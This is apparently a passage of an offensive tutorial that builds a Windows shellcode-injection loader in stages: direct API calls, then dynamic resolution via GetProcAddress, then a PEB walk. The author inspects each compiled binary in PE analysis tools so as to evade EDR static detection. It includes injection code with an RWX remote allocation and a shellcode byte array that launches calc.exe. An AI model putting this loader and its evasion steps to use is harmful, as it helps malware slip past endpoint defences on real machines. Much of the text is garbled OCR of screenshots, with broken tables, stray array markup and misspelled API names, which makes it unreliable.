$\begin{array}{c} 41 \\ 42 \\ 43 \\ 44 \\ 45 \\ 44 \\ 45 \\ 46 \\ CloseHandle(hProcess); \\ 47 \\ 48 \\ 49 \\ 56 \\ 110\% \\ 54 \\ 20 \\ 42 \\ 42 \\ 56 \\ 105 \\ 54 \\ 20 \\ 42 \\ 42 \\ 56 \\ 105 \\ 54 \\ 20 \\ 42 \\ 42 \\ 56 \\ 105 \\ 54 \\ 20 \\ 42 \\ 42 \\ 56 \\ 105 \\ 54 \\ 20 \\ 42 \\ 56 \\ 105 \\ 54 \\ 20 \\ 42 \\ 56 \\ 105 \\ 54 \\ 20 \\ 42 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 \\ 56 \\ 105 $		40					lacolla	adl of	There	i).	au, 50	1,10					
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$		41				1	Losena	a.	innread	01							
$ \begin{array}{cccccccccccccccccccccccccccccccccccc$		42				1 1	ecurn	9 1									
$\begin{array}{c c} & & & & & & \\ & & & & & & \\ & & & & & $		43															
$\begin{array}{c} 43 \\ 46 \\ 47 \\ 48 \\ 49 \\ 58 \\ 110\% \\ 51 \\ 48 \\ 50 \\ 50 \\ 50 \\ 50 \\ 50 \\ 50 \\ 50 \\ 5$		44				notur											
$ \begin{array}{c} 40 \\ 47 \\ 48 \\ 48 \\ 49 \\ 50 \\ 110\% \\ 50 \\ 50 \\ 50 \\ 50 \\ 50 \\ 50 \\ 50 \\ 50$		45				Close	Handla	(hDroc									
$\begin{array}{ccc} & & & & & \\ & & & & & \\ & & & & \\ & & & &$		40			1	CLUSE	nanuce	CIPIOC									
$\begin{array}{c} 1 \\ 49 \\ 58 \\ 110\% \\ 5^{-1} \\ 4 \\ 20 \\ 4 \\ 2 \\ 1 \\ 4 \\ 2 \\ 1 \\ 4 \\ 2 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1$		110			rate	IPD A-											
56 51 110% - ₽ ⊗ 0 ▲ 2 ↑ ↓ ◀		40															
51 110% - ₽ ⊗ 0 ▲ 2 ↑ ↓ ◀		50		, 													
110% • 🖗 😢 0 🗛 2 🔿 U 🖪		51															
		110% - 🔇	2 1	80	4	2 1	4 1	4									

Simple Injection

In the above code, we use **OpenProcess** API to get the handle of process, and we allocate RWX memory region, write shellcode which is opening calc.exe and creating new thread to execute our shellcode into remote process. This is a very simple and straightforward code.

IAT Inspection

In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let's inspect our compiled binary with these tools and see what indicators on which our malware can be detected are and try to overcome them in the coming stages.

CFF Explorer VIII - [SIMPLE_INJECTION.exe]
File Settings ?

	adings .	
È	F	5
🖓 🗂 R	e: SIMPLE	E_INJECTION.exe
- 1	Dos Heade	r
-Ģ 🗉	Nt Headers	
	I File Hea	ider
L-p	Optional	l Header
	— 🔳 Data	Directories [x]
- 3	Section He	aders [x]
- 6	Import Direct	ctory
- 6	Resource [Directory
- 6	Exception (Directory
- 6	Relocation	Directory
- 6	Debug Dire	ctory
- 9	Address (Converter
- 1	Depender	ncy Walker
- 1	Hex Edito	HT
	Identifier	
	Import Ad	lder
- 4	Quick Dis	assembler
- 9	Rebuilder	
- 3	Resource	Editor

Module Name			Imports	OFTs	TimeDateStamp	ForwarderChain	Name RVA	FTs (IAT)
00001FBC			N/A	00001D1C	00001D20	00001D24	00001D28	00001D2C
szAnsi			(nFunctions)	Dword	Dword	Dword	Dword	Dword
KERNEL32.dll			19	000029C0	00000000	00000000	00002BBC	00002000
VCRUNTIME140.dll			5	00002A60	00000000	00000000	00002C20	000020A0
api-ms-win-crt-runt	ime-I1-1-0.dll		18	00002AC0	00000000	0000000	00002DE4	00002100
api-ms-win-crt-mat	h-I1-1-0.dll		1	00002AB0	00000000	00000000	00002E06	000020F0
api-ms-win-crt-stdie	p-I1-1-0.dll		2	00002B58	00000000	00000000	00002E26	00002198
api-ms-win-crt-loca	le-I1-1-0.dll		1	00002AA0	00000000	00000000	00002E46	000020E0
api-ms-win-crt-hear	o-I1-1-0.dll		1	00002A90	00000000	00000000	00002E68	000020D0
Qword 000000000002B70	Qword 00000000002B70	0654	szAnsi WriteProcessMemory					
OFT	ET. (IAT)	LEnt	News					
		_						
Qword	Qword	Word	szAnsi					
000000000002870	00000000002870	0654	WriteProcessMemory					
0000000000002886	000000000002886	042E	OpenProcess					
000000000002894	000000000002894	0600	VirtualAllocEx					
000000000000028A6	000000000002BA6	0058	CreateRemoteThread					
00000000000002E9C	000000000002E9C	04FD	RtiLookupFunctionEntry					
00000000000002EB6	000000000002EB6	0504	KtivirtualUnwind					
0000000000002ECA	0000000000002ECA	0504	CattlabasedladGesestionFilte	1 1				
00000000000022260	00000000000022260	0322	GetCurrentBrosses	itter				
00000000000002F18	0000000000002F18	05C4	TerminateProcess	_				
0000000000002FD2	0000000000002FD2	0295	GetModuleHandleW					
0000000000002FBE	000000000002FBE	03A0	IsDebuggerPresent					
000000000002FA8	000000000002FA8	038A	InitializeSListHead					
0000000000002F8E	0000000000002F8E	030A	GetSystemTimeAsFileTim	e				
000000000002F78	000000000002F78	0237	GetCurrentThreadId					
0000000000002F62	000000000002F62	0233	GetCurrentProcessId					
0000000000002F48	000000000002F48	0470	QueryPerformanceCount	er				
0000000000002F2C	0000000000002F2C	03A8	IsProcessorFeaturePreser	t				
0000000000002E88	000000000002E88	04F5	RtlCaptureContext					

CFF Explorer Results

You can clearly see the API calls in the IAT table of compiled binary, and by looking into these calls, malware analysts can clearly indicate that this binary is doing shellcode injection. These are the very well-known sequences of API calls to perform injection. On the other side, EDRs can detect the binary in static analysis because they do inspection on IAT.

settings about												
								_				
c\users\darko3t\source\repos\simple	injection):		\		dani						Invel	
indicators (imports > flag)	Cinjection ind	icator (22)		detail						level	
09 footprints (type > sha256)	im	ports > fla	a		Write	ProcessMemory	OpenProcess VirtualAllocEx	CreateRemoteT	hread GetCurre	entProcess	*****	
Vinistotal (sample > unknown)	stri	ngs > flag	1		count	t:8					++	
dos-header (size > 64 bytes)	dei	oug > star	np		Wed.	Jul 24 07:31:42 202	4				++	
dos-stub (size > 176 bytes)	file	> entrop	¥		5.009						+	
- P rich-header (tooling > Visual Studi	io 2015) file	> signati	are tooling		Visua	I Studio 2008					+:	
file-header (executable > 64-bit)	file	> sha256			F9A4	4845FA6580059128	620FD88D669987B22A863528E	1A62F411F38187	7221A1		+	
optional-header (subsystem > con	sole) file	> size			11264	bytes					+	
H directories (count > 7)	file	> type			execu	stable, 64-bit, con	sole				*	
sections (count > 6)	vin	stotal > s	core		There	equested resource	is not among the finished, qu	eued or pending	g scans		+:	
libraries (count > 7)	CON	npiler > s	tamp		Wed	Jul 24 07:31:42 202	4		3		+	
imports (flag > 47)	res	ource > it	ems		count	t: 1, size: 381 bytes	, file-ratio: 3.38%				+	
- exports (n/a)	ma	nifest > a	eneral		name	: n/a, description:	n/a, level: aslnvoker				+	
	del	oua > stre	ams		count	t:3					+	
	del	oug > for	nat		type:	RSDS						
- The resources (count > 1)	del	ug > file	name		Cills	ers\DARKN3T\sou	rce\repos\SIMPLE INJECTION	x64\Release\SI	MPLE INJECTION	N.odb		
abc strings (flag > 8)	del	ua > for	nat		type:	vcFeature					1	
-: (f); debug (streams > 3)	del	ua > fon	nat		type	PGO						
— manifest (level > aslnvoker)	ent	nunoint	address		0,000	01450					*	
- 🖬 version (n/a)	500	tificate			0/0	1420						
- 🚰 certificate (n/a)	<u>Cer</u>	uncate shash > a			A2D2	E3ECCD0676EEDE	2045500545054					
- overlay (n/a)	ITTI	anasn 2 n	10.2		M3U3	E23CCD9070FFDE	20AJE09EAJUJA				*	
	ext	ions			n/a						. .	
	<u>QV4</u>	uay			n/a						*	
dio 9.59 - Malware Initial Assessment - www.winitor.com ings about	n (read-only)			PE	Stuc	dio Res	sults					
Clusers\darkn3f\source\repos\simple injection\	++ (47)	face (2)	Ent-thunk-original (INT)	feet, there is a feet	Not	crown (7)	technicus (2)	here (2)	codinal (1)	Shraw (2)		
a indicators (imports > flag) Initial	ceSListHead		0x0000000000002FA8	0x000000000002FAU	905.03v238A)	synchro		implicit		KERNEL32.dll		
footprints (type > sha256) IsDeb	uggerPresent		0x0000000000258E	0+0000000000002588	928 (0x00A0)	reconnaissance	11082 (System Information Discove	ry implicit		KEENEL32.dt		
dos-header (size > 64 bytes)	mentProcessid RedormanceCountry	×	0x00000000002562	0+00000000000000000	563 (0x0233) 1536 (0x0233)	reconnaissante	T1057 Process Discovery	implicit		KEENEL32.dll		
dos-stub (size > 176 bytes)	essorf eaturePresent	1	0x0000000000007F2C	0-0000000000072C	936 (0x 03A8)	reconneissince.	1	implicit		KERNEL32 di		
file-header (executable > 64-bit)	ProcessMemory	×	0+000000000002870	0~000000000002870	1620 (0x0654)	memory	T1055 Process Injection	implicit		KERNEL 32. dl		
optional-header (subsystem > console)	(AllocEx	×	0+00000000002894	0x000000000002894	1536 (0x0600)	memory	T1055 Process Injection	implicit		KERNEL32.dll		
sections (count > 7) ments	st		0+0000000000002016	0+0000000000002C16	62 (0x003E)	memory		implicit.		VCRUNTIME14_		
Bbraries (count > 7) msms	(py		0x0000000000027E6	0+00000000002566	(0 (0,003C)	memory		implicit		VCRUNTIME14		
smports (flag > 47) GetSy	stemTimeAsEileTime	-	0x000000000002F8E	0x000000000000000	773 (0x030A) 1030 (0x0430)	Ne .	T1124 System Time Discovery	implicit		KEENEL32.dll		
-o thread-local-storage (n/a) Create	RemoteThread	Ŷ	0x0000000000028A6	0x000000000028A6	248 (0x00F8)	execution	T1055 Process Injection	implicit		KERNEL32.dll		
Ch HELING						and the second		and the second		VED4451 23 JF		



562 (0x0232) execution

KERNEL32.dll

You see, PE studio flagged these APIs as malicious. It is the beauty of PE studio that it mapped flag API calls on the MITRE ATT&CK framework. So, according to PE Studio, this malware is performing process injection, which is very right in this case. So, we must overcome these challenges in our next stages of arsenal preparation.

Execution

- (a resources (count > 1) - sec strings (flag > 8)

GetCurrentPr

In each stage, we execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we use Windows API calls directly into code.



Stage 1 Execution

Stage 2 (DynamicAPI Injection)

In stage 2, we use the same injection technique to inject malicious shellcode into the process, but this time, we resolve windows APIs dynamically by using two main functions **GetProcAddress** and **LoadLibraryA**.

GetProcessAddress: This function resolves the address of any function inside the given module. This API took two arguments, one the module from which we want to get the function address and second the function name to be resolved.

LoadLibraryA: This function gets the handle of the module from which we want to get the function address. In our case, kernell32.dll is the module.





In this stage, first, we must define the prototypes of each API that we want to resolve dynamically. We define a type representing a function pointer.

Too	DYNAMICAPI_IN	NJECTION.cpp 🕫 🗙	
bos	DYNAMICAPI	L_INJECTION + (Global Scope)	+ 😚 main()
	19	3 8x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,	
	20	0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,	
	21	0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,	
	22	0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,	
	23	0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,	
	24	0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00,	
	25	0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d,	
	26	0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,	
	27	0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,	
	28	0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65,	
	29	0x00	
	30		
	31	VAExiype pVAEx;	
	32	wpriype pwpr;	
	33	CRITYPE PURI	
	34	insigned int p_ten = sizeof(code);	
	35		
	20	HANDE FITmand = NUL	
	20		
	30		
	40	HANDLE hProcess = OpenProcess(PROCESS CREATE THREAD PROCESS QUERY INFORMATION	
	41	PROCESS_VM_OPERATION PROCESS_VM_READ PROCESS_VM_WRITE,	
	42	FALSE, pid);	
	43 (if (hProcess != NULL) {	
	44	HMODULE kernel32Base = LoadLibraryA("kernel32.dll");	
	45	<pre>pVAEx = (VAExType)GetProcAddress(kernel32Base, "VirtualAllocEx");</pre>	
	46	<pre>pWPM = (WPMType)GetProcAddress(kernel32Base, "WriteProcessMemory");</pre>	
	47	<pre>pCRT = (CRTType)GetProcAddress(kernel32Base, "CreateRemoteThread");</pre>	
	48		
	49	<pre>pRemoteCode = pVAEx(hProcess, NULL, p_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);</pre>	
	50	pWPM(hProcess, pRemoteCode, (PVOID)code, (SIZE_T)p_len, (SIZE_T*)NULL);	
	51	hThread = pCRT(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);	
	52	if (hinpead != NULL) {	
	53	Waltforsingleupoject(hinnead, 500);	
	54	natura A	
	55	i i i i i i i i i i i i i i i i i i i	
	57		
	58	return -1:	
	59	CloseHandle(hProcess);	
	60		
	61		
	62	return 0;	
	2242		

DynamicAPI Injection

The above code explains that we use the LoadLibrayA function to get the handle of kernel32.dll, and then we use GetProcAddress to resolve our APIs inside the kernel32.dll Now, this time, we use dynamic API resolution technique and see what makes better in our compiled binary.

IAT Inspection

In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let's inspect our compiled binary with these tools and see what indicators on which our malware can be detected are and try to overcome them in the coming stages.

-	CEE	Evolorar	VIII -		INTECTION aval
	CFF	explorei	VIII -	[DTIVAIVIICAPI_	indection.exej

File Settings ?

	DYNAMICAPI_I	JECTION.exe							
- VI	Module Name	Imports	OFTs	T	FimeDateStamp	ForwarderChain	Name RVA	FTs (IAT)	
File: DYNAMICAPI_INJECTION.	00001C20	N/A	00001A5	c o	00001A60	00001A64	00001A68	00001A6C	
- I Dos Header	szAnsi	(nFunction	ns) Dword		Dword	Dword	Dword	Dword	
- Ric Headers	KERNEL32.dll	17	000026F0	c 0	0000000	0000000	00002820	00002000	
Optional Header	VCRUNTIME140.dll	4	00002744	4 0	0000000	0000000	00002886	00002048	
Data Directories [x] Section Headers full	api-ms-win-crt-ru	19	00002770	0 0	0000000	00000000	00002A5A	00002074	
- Directory	api-ms-win-crt-ma	t 1	00002768	3 0	0000000	00000000	00002A7C	0000206C	
	api-ms-win-crt-sto	i 2	000027C	0 0	0000000	0000000	00002A9C	000020C4	
Relocation Directory Debug Directory	api-ms-win-crt-loo	1	00002760	0 0	0000000	00000000	00002ABC	00002064	
- Maddress Converter	api-ms-win-crt-he	a 1	00002758	3 0	0000000	00000000	00002ADE	0000205C	
— 🐁 Identifier									
— 🐁 Import Adder — 🐁 Quick Disassembler	OFTs F	ís (IAT)	Hint	Name					
- SRebuilder									
	Dword D	word	Word	szAnsi					
	000027CC 00	0027CC	05FF	WaitFo	orSingleObject				
	000027E2 00	0027E2	042B	OpenP	rocess				
	000027F0 00	0027F0	03E1	LoadLi	braryA				
	00002800 00	002800	0094	Close	landle				
	0000280E 00	00280E	02C6	GetPro	cAddress				
	00002BF2 00	002BF2	039D	IsDebu	iggerPresent				
	00002BDC 00	002BDC	0381	Initializ	zeSListHead				
	00002BC2 00	002BC2	0303	GetSys	temTimeAsFileTi	me			
	00002BAC 00	002BAC	0231	GetCur	rrentThreadId				
	00002B96 00	002B96	022D	GetCur	rrentProcessId				
	00002B7C 00	002B7C	046D	Query	PerformanceCou	nter			
	00003860 00	003060	0245	InDec or					
	00002B4C 00	002B4C	05B4	Termin	ateProcess				
	00002B38 00	002B38	022C	GetCur	rrentProcess				
	00002B1A 00	002B1A	0594	SetUnh	nandledException	nFilter			
	00002AFE 00	002AFE	05D5	Unhan	dledExceptionFil	ter			
	00002C06 00	002C06	028F	GetMo	duleHandleW				

CFF Explore Results

You can clearly see; at this stage we are quite better because this time we have fewer imports which indicate the behaviour of malware. But still, we see some indicators such as LoadLibrarayA and GetProcAddress, which can be detected in static analysis. We try to overcome this issue in our next stage preparation.

ttings about			
∑自 🦞			
c:\users\darkn3t\source\repos\dynamicapi_injec	indicator (22)	detail	level
indicators (imports > flag)	imports > flag	OpenProcess GetCurrentThreadId GetCurrentProcessId TerminatePro	+++++
gy footprints (type > sha256)	strings > flag	count: 8	++
virustotal (sample > unknown)	debug > stamp	Wed Jul 24 08:07:02 2024	**
dos-neader (size > 64 bytes)	file > entropy	5.266	
sich header (tealing > Visual Studio 2015)	file > signature tooling	Visual Studio 2008	+
b file-beader (everytable > 32-bit)	file > sha256	AE7CDEBA4A018CBCC7BC1BB4AF58DEB0964B9EECE380A2FA9D0CF562	+
 ontional-header (subsystem > console) 	file > size	10240 bytes	+
directories (count > 6)	file > type	executable, 32-bit, console	+
sections (count > 5)	virustotal > score	The requested resource is not among the finished, queued or pending s	
ibraries (count > 7)	compiler > stamp	Wed Jul 24 08:07:02 2024	+
imports (flag > 45)	resource > items	count: 1, size: 381 bytes, file-ratio: 3.72%	+
🗳 exports (n/a)	manifest > general	name: n/a, description: n/a, level: aslnvoker	+
-o thread-local-storage (n/a)	debug > streams	count: 3	
NET (n/a)	debug > format	type: RSDS	
(count > 1)	debug > file-name	C:\Users\DARKN3T\source\repos\DYNAMICAPI_INJECTION\Release\DY	+
ab: strings (flag > 8)	debug > format	type: vcFeature	+
A debug (streams > 3)	debug > format	type: PGO	+
imanifest (level > aslnvoker)	entry-point > address	0x000014DC	
[1.0] version (n/a)	certificate	n/a	
certificate (n/a)	imphash > md5	532A9E950C58EE6B6E348F03F9E54D1D	+
C overray (n/ a)	exports	n/a	+
	overlay	n/a	+

PE Studio

PE studio still flagged some APIs and mapped them on MITRE ATT&CK under the category of process injection.

IAMICAPI_INJECTION.exe	* × 🛶 🗊 🕄 🌒 🖈 🗟 🍓	
DOS Header	6 0 1 2 3 4 5 6 7 8 9 A B C D E F	0 1 2 3 4 5 6 7 8 9 A B C D E F
DOS stub	1400 CC 27 00 00 E2 27 00 00 F0 27 00 00 00 28 00 00	I
NT Headers	1410 OE 28 00 00 F2 28 00 00 DC 28 00 00 C2 28 00 00	
Signature	1420 AC 28 00 00 96 28 00 00 7C 28 00 00 60 28 00 00	
File Header	1430 4C 28 00 00 38 28 00 00 18 28 00 00 FE 28 00 00	L + 0 + + D *
Coptional Header	1440 OF 2C 00 00 00 00 00 00 2E 28 00 00 FC 28 00 00	
Section Headers	1450 62 28 00 00 44 28 00 00 00 00 00 D8 29 00 00	ъс
ections	1460 00 00 00 00 C2 29 00 00 00 00 00 BA 28 00 00	· · · · · X 2 · · · · · · · · • • • · ·
at at at a text	1470 00 00 00 00 F8 29 00 00 14 2A 00 00 80 25 00 00	
EP = SDC	1480 0A 29 00 00 4E 2A 00 00 72 29 00 00 0A 29 00 00	. 3 N * = 3 3
at edata	1490 64 29 00 00 94 29 00 00 4E 29 00 00 E8 28 00 00	(d.)) N) ê (
and down	14A0 CE 28 00 00 3E 2A 00 00 AA 28 00 00 98 28 00 00	2 6 > * * 6 6
- Justa	14B0 46 29 00 00 38 29 00 00 30 2A 00 00 2C 29 00 00	Flace Black Directory Directory
-TSPC	14C0 00 00 00 56 25 00 00 E8 29 00 00 00 00 00 00	V 3
-Feloc	14D0 2E 19 40 00 00 00 00 00 00 00 00 48 13 40 00	· · · · · · · · · · · · · · · · · · ·
	14E0 00 00 00 00 00 00 00 00 95 12 40 00 40 13 40 00	an ta shi ka
	14F0 00 00 00 00 00 00 00 00 00 00 00 00 0	
	1500 00 00 00 00 00 00 00 10 30 40 00 68 30 40 00	
	1510 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00	k e z n e 1 3 2 . d 1 1
	1520 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 70 00 00	VirtualAllocEx
	1530 57 72 69 74 65 50 72 69 63 65 73 73 4D 65 6D 69	W rite Process Hemo
	1540 72 75 00 00 43 72 65 61 74 65 52 65 6D 65 74 65	ryCreateRemote
	1550 54 60 72 65 61 64 00 00 C0 00 00 00 00 00 00 00	Thread . A
	1560 00 00 00 00 00 00 00 00 00 00 00 00 0	
	1570 00 00 00 00 00 00 00 00 00 00 00 00 0	
	1580 00 00 00 00 00 00 00 00 00 00 00 00 0	
	1590 00 00 00 00 00 30 40 00 C0 22 40 00 01 00 00 00	· · · · · · · · · · · · · · · · · · ·
	15A0 D0 20 40 00 00 00 00 00 00 00 00 00 00 00 00	D a terrar a second a second a second a second a
	1580 00 01 00 00 00 00 00 00 00 00 00 00 00	
	1500 00 00 00 00 00 00 00 00 00 00 00 00	
	1500 00 00 00 00 00 00 00 00 00 00 00 00	The second se
	1580 00 00 00 00 00 00 00 00 00 00 00 00 0	おかい かいかいかいかいかい おおかがた あいがい
	1570 00 00 00 00 00 00 00 00 00 00 00 00 0	A

PE Bear Results

Oops, we see there are some strings in this stage under **.rdata** section of PE file. These strings are a great indicator of the behaviour of binary. Malware can still be detected in static analysis by EDRs. We must overcome this issue in our coming stages.

Execution

In each stage, we execute binary to verify the working of the malware. Every time malware injects malicious shellcode into remote processes and executes calc.exe. In this stage, we use dynamic resolution of Windows API calls to inject shellcode.

A Home	Name	Date modified	Туре	Size							
R Gallery	DYNAMICAPI_INJECTION.exe	7/24/2024 11:07 AM	Application	10 KB							
()	DYNAMICAPI_INJECTION.pdb	7/24/2024 11:07 AM	Program Debug D.								
C:\Windows\System32	\cmd.e × + ~										
Microsoft Windows (c) Microsoft Corp	[Version 10.0.22631.3880] woration. All rights reserved.										
C:\Users\DARKN3T\s	ource\repos\DYNAMICAPI_INJECT	ION\Release>DYNAMI	CAPI_INJECTIO	N.exe	Calculator		- 0	×	■ Task Explorer.exe (47044) (0x8c0000 ~ 0x8c1000)	- 🗆	×
C:\Users\DARKN3T\s	ource\repos\DYNAMICAPI_INJECT	ION/Release>			Program	nmer _{QWORD}	MS	0 M*	$ \begin{array}{c} \begin{array}{c} 0000000 & f_{2} \ eff \ 0 1 \ column{2}{3} \\ 00000000 & f_{2} \ eff \ 0 1 \ column{2}{3} \\ 00000000 & f_{2} \ 0 1 \ column{2}{3} \\ 0000000 & f_{2} \ 0 1 \ column{2}{3} \\ 0000000 & f_{2} \ 0 1 \ column{2}{3} \\ 0000000 & f_{2} \ 0 1 \ column{2}{3} \\ 0000000 & f_{2} \ 0 1 \ column{2}{3} \\ 0000000 & f_{2} \ 0 1 \ column{2}{3} \\ 000000 & f_{2} \ 0 \ column{2}{3} \\ 000000 & f_{2} \ 0 \ column{2}{3} \\ 000000 & f_{2} \ 0 \ column{2}{3} \\ 000000 & f_{2} \ column{2}{3} \\ 000000 $		
				Ð	Bitwise 🗸 🔿	🗞 Bit shift 🗸			00000100 00 00 00 00 00 00 00 00 00 00 0		
				A	«	>>	с	۲	00000120 00 00 00 00 00 00 00 00 00 00 00 00 0		
				B	()	%	÷	00000150 00 00 00 00 00 00 00 00 00 00 00 00 0		
				0	7	8	9	×	00000170 00 00 00 00 00 00 00 00 00 00 00 00 0	•••••	
				C	4	5	6	-	000001a0 00 00 00 00 00 00 00 00 00 00 00 00 0		
				E	1	2	3	+	000001=0 00 00 00 00 00 00 00 00 00 00 00 00 0		
				F	*/-	0		=	Re read Write Go to 16 bytes per row 🗸 5	ave Clo	se

Stage 2 Execution

Stage 3 (PEB walk Injection)

In stage 3, we use the same injection technique to inject a malicious shellcode into the process, but this time, we use a PEB walk to resolve APIs dynamically. We access the PEB and enumerate all loaded modules in process space and find the base address of kernel32.dll. We use the base address of kernel32.dll to resolve the APIs' function address and perform process injection using PEB walk.



PEB Structures

In this stage, first, we must define all the structures needed to perform a PEB walk. You can find these structures on Microsoft documentation.

PEB (winternl.h) - Win32 apps

Contains process information.learn.microsoft.com

We define all the needed structures, and we define function pointer types for the Windows API functions we need.



Resolve Function Address

Above code parse kernel32.dll as PE file because DLL is PE file format and first it is getting the DOS header and by using DOS header member **e_lfanew** which is 4 bytes field tells the offset of NT header. Now, the NT header contains the option header, which holds the data directory field, including all exported functions of the module. So, this function returns the address of the matched function name.



PE Access and Walk

This code snippet accesses the PEB and then traverse the **InLoadOrderModuleList** to find the LDR_DATA_TABLE_ENTRY for kernel32.dll.



Resolve API functions

Finally, we resolve and use the APIs to perform process injection.

IAT Inspection

In each stage, we do IAT inspection by using three PE editor tools PE Bear, CFF Explorer, and PE studio. Let's inspect our compiled binary with these tools and see what indicators on which our malware can be detected are and try to overcome them in the coming stages.

	Name	Func. Count	Bound?	Origin	nalFirstThun	TimeDateStamp	Forwarder	NameRVA	FirstThunk
1C54	KERNEL32.dll	15	FALSE	3708		0	0	3812	3000
1C68	VCRUNTIME140.dll	4	FALSE	3748		0	0	3878	3040
1C7C	api-ms-win-crt-stdio-I1-1-0.dll	4	FALSE	37C4		0	0	3A84	30BC
1C90	api-ms-win-crt-string-I1-1-0.dll	1	FALSE	37D8		0	0	3AA4	3000
1CA4	api-ms-win-crt-runtime-I1-1-0.dll	19	FALSE	3774		0	0	3AC6	306C
1C88	api-ms-win-crt-math-I1-1-0.dll	1	FALSE	376C		0	0	3AE8	3064
1CCC	api-ms-win-crt-locale-I1-1-0.dll	1	FALSE	3764		0	0	3808	305C
1CE0	api-ms-win-crt-heap-I1-1-0.dll	1	FALSE	375C		0	0	382A	3054
KERNEL32.d	I [15 entries]								
Call via	Name	Ordinal Origin	al Thunk	Thunk	Forwarde	r Hint			
Call via	Name WaitForSingleObject	Ordinal Origin 37E0	al Thunk	Thunk 37E0	Forwarde	r Hint SFF			
Call via 3000 3004	Name WaitForSingleObject OpenProcess	Ordinal Origin 37E0 37F6	al Thunk	Thunk 37E0 37F6	Forwarde - -	r Hint SFF 42B			
Call via 3000 3004 3008	Name WaitForSingleObject OpenProcess CloseHandle	Ordinal Origin 37E0 37F6 3804	al Thunk	Thunk 37E0 37F6 3804	Forwarde - -	r Hint SFF 42B 94			
Call via 3000 3004 3008 300C	Name WaitForSingleObject OpenProcess CloseHandle IbDebugePresent	Ordinal Origin 37E0 37F6 3804 3C3E	al Thunk	Thunk 37E0 37F6 3804 3C3E	Forwarde - - -	r Hint 5FF 42B 94 39D			
Call via 3000 3004 3008 300C 3010	Name WaliferSingleObject OpenProcess CloseHandle IsDebuggePresent InitializeSLitHead	Ordinal Origin 37E0 3776 3804 3034 3034 3034 3032 3034	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28	Forwarde	r Hint 5FF 42B 94 39D 381			
Call via 3000 3004 3008 300C 3010 3014	Name WalforSingleObject OpenProcess CloseHandle IDebuggePresent InitalieSkistHead GestystenTimeAs/HieTime	Ordinal Origin - 37E0 - 37F6 - 3804 - 3C3E - 3C28 - 3CCE	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C0E	Forwarde - - - - - -	r Hint 5FF 42B 94 39D 381 303			
Call via 3000 3004 3008 300C 3010 3014 3018	Name WählfodigleObject OpenProcess CloseHandle IsDebuggenPresent InitialiesSListHead GestystemTimeAsFileTime GestystemTimeAsFileTime GesturentTimeadid	Ordinal Origin 37E0 37F6 3804 3C3E 3C28 3C0E 38F8	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C0E 3BF8	Forwarde - - - - - - - - - - -	r Hint 5FF 42B 94 39D 381 303 231			
Call via 3000 3004 3008 300C 3010 3014 3018 301C	Nane WalforSingleObject OpenProcess CloseHandle IbbebuggerPresent InitialeSklistHead GetCurrentTimeASHETme GetCurrentTimesdid GetCurrentTimesdid	Ordinal Origin 37E0 37F6 3804 3C38 3C28 3C28 3C06 3BF8 3BE2	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C0E 3BF8 3BF2	Forwarde - - - - - - - - - - - - - - - - - - -	r Hint 5FF 428 94 39D 381 303 231 22D			
Call via 3000 3004 3008 300C 3010 3014 3018 3012 3020	Name WailFordingLObject OpenProcess CloseHandle IDebuggerVesent InitializeSListHead GetSystemTimeAdFileTime GetCurrentTimeAdFileTime GetCurrentTimeadId GetCurrentProcessId QuerpPerformancCounter	Ordinal Origin 37E0 37F6 3804 3804 3805 3805 3805 3805 3805 3805 3805 3805	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C0E 3BF8 3BE2 3BE2 3BC8	Forwarde - - - - - - - - - - - -	r Hint 5FF 428 94 39D 381 303 231 22D 46D			
Call via 3000 3004 3008 300C 3010 3014 3018 301C 3020 3024	Name WaaforSingleObject OpenProcess CloseHandle DibebuggerPresent InitialeSListHead GetCurrentTreadid GetCurrentTreadid GetCurrentTrecosId OuerperformanceCounter IbProcessiofeautePresent	Ordinal Origin 37E0 37F6 3804 3C3E 38C4 38C8 38F8 38F8 38F8 38F8 38F8 38F8 38F8	al Thunk	Thunk 37E0 37F6 3804 3C3E 3C28 3C28 3C28 3C0E 38F8 38E2 38C8 38E2	Forwarde - - - - - - - - - - - - - - - - - - -	r Hint 5FF 42B 94 39D 381 303 231 22D 46D 3A5			
